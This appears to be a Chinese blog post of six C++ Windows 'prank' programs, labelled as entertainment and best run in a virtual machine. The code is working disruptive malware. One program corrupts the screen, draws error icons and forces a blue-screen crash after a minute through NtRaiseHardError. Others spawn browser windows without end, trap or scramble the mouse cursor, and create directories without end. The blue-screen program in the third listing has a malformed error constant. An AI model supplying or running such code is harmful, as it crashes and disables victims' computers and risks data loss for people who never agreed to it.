跳到正文

休闲·娱乐

推荐在虚拟机里使用

liangchenrui54088约 11 分钟
原文
文章信息与版本

文章信息

发布
2024年10月18日
收录
2025年12月12日
更新
2026年11月17日
篇幅
约 11 分钟

版本

  1. v1当前

第一个

C++
#include <Windows.h>
#include <time.h>
using namespace std;
int call;
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int IconWidth = GetSystemMetrics(SM_CXICON);
int IconHeight = GetSystemMetrics(SM_CYICON);
HDC hdc=GetWindowDC(GetDesktopWindow());
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int random(int upper_bound) {
 if(upper_bound==0) {
  return 0;
 }
 srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));
 call++;
 return rand() % upper_bound;
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
 while(true) {
  BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);
  Sleep(random(100));
 }
 return 0;
}
int GetWay() {
 int r=random(3);
 switch(r) {
  case 0:
   return SRCAND;
  case 1:
   return SRCINVERT;
  case 2:
   return SRCPAINT;
 }
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
 while(true) {
  int RandWidth = random(ScreenWidth);
  int RandHeight = random(ScreenHeight);
  int RandxPixel = random(ScreenWidth - RandWidth);
  int RandyPixel = random(ScreenHeight - RandHeight);
  int RandDestxPixel = random(ScreenWidth - RandWidth);
  int RandDestyPixel = random(ScreenHeight - RandHeight);
  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
  Sleep(random(100));
 }
 return 0;
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
 while(true) {
  int RandWidth = random(ScreenWidth);
  int RandHeight = random(ScreenHeight);
  int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;
  int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;
  int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;
  int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;
  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
  Sleep(random(100));
 }
 return 0;
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
 Sleep(60000);
 HMODULE ntdll = LoadLibrary("ntdll.dll");
 FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
 FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
 unsigned char temp0;
 long unsigned int temp1;
 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0);
 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1);
 return 0;
}
DWORD WINAPI DrawErrors(LPVOID Param) {
 while(true) {
  int RandxPixel = random(ScreenWidth - IconWidth / 2);
  int RandyPixel = random(ScreenHeight - IconHeight / 2);
  DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));
  Sleep(random(50));
 }
 return 0;
}
int main(void) {
 CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL);
 CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL);
 CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL);
 CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL);
 CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL);
 while(true);
}

第二个

C++
#include<cstdio>
#include<windows.h>
int main()
{//<!-- -->
 while(1)
 {//<!-- -->
  system("start iexplore.exe http://www.baidu.com");
 }
 return 0;
}

第三个

C++
#include <stdio.h>
#include <windows.h>
typedef enum _HARDERROR_RESPONSE_OPTION {
OptionAbortRetryIgnore,
OptionOk,
OptionOkCancel,
OptionRetryCancel,
OptionYesNo,
OptionYesNoCancel,
OptionShutdownSystem
} HARDERROR_RESPONSE_OPTION, *PHARDERROR_RESPONSE_OPTION;
typedef enum _HARDERROR_RESPONSE {
ResponseReturnToCaller,
ResponseNotHandled,
ResponseAbort,
ResponseCancel,
ResponseIgnore,
ResponseNo,
ResponseOk,
ResponseRetry,
ResponseYes
} HARDERROR_RESPONSE, *PHARDERROR_RESPONSE;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
//-------------------------------------
typedef void (__stdcall *ER)(ULONG, ULONG, PUNICODE_STRING, PVOID, HARDERROR_RESPONSE_OPTION, OUT PHARDERROR_RESPONSE);
typedef BOOL (__stdcall *PR)(ULONG, BOOL, BOOL, PBOOLEAN);
//------------------------------------
ER NtRaiseHardError;
PR RtlAdjustPrivilege;
const ULONG SE_DEBUG_PRIVILEGE = 20;
const ULONG SE_SHUTDOWN_PRIVILEGE = 19;
void CallBlueScreen(ULONG ErrorCode) {
BOOLEAN B;
RtlAdjustPrivilege = (PR)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
NtRaiseHardError = (ER)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtRaiseHardError");
RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &B);
RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, TRUE, FALSE, &B);
HARDERROR_RESPONSE OR;
OR = ResponseYes;
NtRaiseHardError(ErrorCode, 0, 0, 0, OptionShutdownSystem, &OR);
}
int main() {
CallBlueScreen(0xc000013954088hhh);
}

第四个

C++
#include<iostream>
#include<windows.h>
using namespace std;
int main(){
   
	while(1)
	{
   	
		SetCursorPos(100,100);
	}
}

第五个

C++
#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    while(1)
    SetCursorPos(rand()%x,rand()%y);
    return 0;
}

第六个

C++
#include<windows.h>
#include<iostream>
using namespace std; 
int main()
{//<!-- -->
 cout<<"打开此文件所在的目录";
 while (1)
 system("md 你 是 撒 比 吗 ?qe uy tf eu ry ef ge yu fg ye uw fg ue wi fu ew fe fh eu fu ef ubf hcf hwf hqf hi ef he wf we w e r t y u i o p a s d f g h j k l z x c v b n m");
 return 0; 
 }
原文